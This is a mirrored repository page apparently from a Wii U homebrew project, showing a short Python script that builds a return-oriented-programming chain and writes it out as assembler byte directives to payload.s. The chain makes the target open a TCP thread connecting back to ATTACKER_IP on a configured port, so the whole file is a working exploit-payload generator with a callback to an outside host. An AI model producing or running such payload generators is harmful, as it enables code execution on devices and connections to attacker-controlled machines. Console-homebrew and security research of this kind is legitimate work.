mirror of
https://github.com/wiiu-env/ROBChain.git
synced 2024-12-12 11:44:22 +01:00
11 lines
339 B
Python
11 lines
339 B
Python
from tcp_ropchain import *
|
|
from config import *
|
|
import struct
|
|
|
|
rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, ATTACKER_IP, TCP_SERVER_PORT)
|
|
|
|
with open('payload.s', 'w') as f:
|
|
for val in rop_chain:
|
|
bytes = [hex(val >> i & 0xff) for i in (24,16,8,0)]
|
|
for v in bytes:
|
|
print('byte %s' % v, file=f) |